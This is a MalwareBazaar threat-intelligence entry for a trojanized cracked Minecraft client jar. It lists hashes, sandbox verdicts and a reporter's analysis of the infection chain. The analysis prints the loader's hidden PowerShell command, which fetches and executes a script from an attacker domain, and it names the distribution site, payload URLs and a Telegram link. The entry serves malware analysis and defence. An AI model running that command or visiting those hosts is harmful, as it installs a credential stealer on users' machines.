MalwareBazaar Database
You are currently viewing the MalwareBazaar entry for SHA256 91b957606cb22133f761db99eff98d76daa85d5dc7580a57d8e7cd6d1fee72bb. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.
Database Entry
Bombay
Vendor detections: 5
| SHA256 hash: | 91b957606cb22133f761db99eff98d76daa85d5dc7580a57d8e7cd6d1fee72bb |
|---|---|
| SHA3-384 hash: | 23eb9304a771a902a78fae562a8215497be6b42674fc7562fea513a9906efd820068f29334c3ead9f38db3fa5ab3bc53 |
| SHA1 hash: | 759d77aa8b0178d29f5be2768bc56a5576fa485d |
| MD5 hash: | 1cd99b3f61b0423fa663e50d8ef9e90f |
| humanhash: | stairway-echo-pizza-oregon |
| File name: | Anubis Beta 0.9.9.3.jar |
| Download: | download sample |
| Signature | Bombay |
| File size: | 19'549'214 bytes |
| First seen: | 2026-10-25 17:57:08 UTC |
| Last seen: | Never |
| File type: |  jar |
| MIME type: | application/java-archive |
| ssdeep | 393216:XXdXjTN6O4eGES4OS3vxnHwINT6UJnMzIrBqLSl56JupRQfz:XXZjTgbeU4OexrNMIrBJf6JbL |
| TLSH | T103173312656F3273CC1B6771C152D031AE3821C2960B244AE9BC27CDDDB9EAB47993ED |
| TrID | 46.1% (.JAR) Minecraft Fabric Mod (24020/2/4) 25.9% (.JAR) Java Archive (13500/1/2) 20.1% (.SH3D) Sweet Home 3D Design (generic) (10500/1/3) 7.6% (.ZIP) ZIP compressed archive (4000/1) |
| Magika | jar |
| Reporter |  GhostTypes |
| Tags: | bombay jar lumma.cy |
GhostTypes
Trojanized fake cracked Minecraft client served from https://portalclient-drab.vercel.app/ (Vercel-hosted fake storefront, 11-client catalog all pinned to MC 1.21.11, Leakestan-style 'cracked by Dexter/Sub5Larp/648k.exe' branding, Telegram t.me/+V6Y7K3MitvVkZGVi). The jar carries an injected fabric client entrypoint paneldrop.PanelDrop: on Windows launch it spawns a hidden powershell running irm 'https://tools.lumma.cy/bsKLZ?IE=A' | iex (unique per-jar tracking token). Stage chain (fully decoded, nothing executed): tools.lumma.cy/bsKLZ serves a hidden-window HTA that writes 2-3 random-named VBS to %TEMP%; each runs base64 PowerShell with anti-analysis gates (blocks BITS/WebClient/IWR user-agents, zip magic-byte checks), downloads https://tools.lumma.cy/OIIBSK3NSfP8fAo65JBB.png (PNG-masked zip) and executes rename.exe (name re-rolled per fetch) - a native stealer core, VT 52/75 trojan.clipbanker/mikey, sha256 9ddb5cfa4a64771fbed9b74c1bba90c9e84d1d24d5cb56ed2e3472b17f59cb37. The zip leaks .spread_meta: campaign_id=618, slug=jar/2a53f9a1e1252701, niche=spotify. tools.lumma.cy is Bombay MaaS infrastructure (Lumma branding on the domain is a mask).Intelligence
File Origin
# of uploads :
1
# of downloads :
67
Origin country :
FRVendor Threat Intelligence
No detections
Malware family:
n/a
ID:
1
File name:
jar
Verdict:
No threats detected
Analysis date:
2026-10-25 18:19:19 UTC
Tags:
n/a
Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Detection:
n/a
Verdict:
Clean
Score:
89.3%
Tags:
n/a
Verdict:
Suspicious
Threat level:
5/10
Confidence:
100%
Tags:
anti-debug macros-on-close obfuscated
Result
Malware family:
Bombay
Verdict:
Malicious
Trusted hash?:
False
File:
1'400
Classes:
1'269
Nested archives:
12
Source:
Findings
Bombay signature: Bombay-associated Java loader: a method constructs and starts PowerShell to download and execute a script from tools.lumma.cy. The next-stage malware is not included in this identification.
PowerShell download and execution: The method constructs a PowerShell process with a remote download piped to Invoke-Expression and calls ProcessBuilder.start. The downloaded payload is not analyzed.
External process execution: ProcessBuilder can execute operating-system commands.
PowerShell execution: The file references PowerShell execution.
User-Agent: May indicate outbound HTTP requests or client impersonation.
Verdict:
Unknown
File Type:
jar
Result
Threat name:
n/a
Detection:
malicious
Classification:
evad
Score:
48 / 100
Signature
Joe Sandbox ML detected suspicious sample
Unusual module load detection (module proxying)
Behaviour
Behavior Graph:
Score:
13%
Verdict:
Benign
File Type:
ARCHIVE
Detection(s):
Suspicious file
Result
Malware family:
n/a
Score:
3/10
Tags:
n/a
Behaviour
Suspicious use of SetWindowsHookEx
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Suspicious File
Score:
0.35
YARA Signatures
MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.
| Rule name: | Sus_CMD_Powershell_Usage |
|---|---|
| Author: | XiAnzheng |
| Description: | May Contain(Obfuscated or no) Powershell or CMD Command that can be abused by threat actor(can create FP) |
File information
The table below shows additional information about this malware sample such as delivery method and external references.
Web download
Delivery method
Distributed via web download
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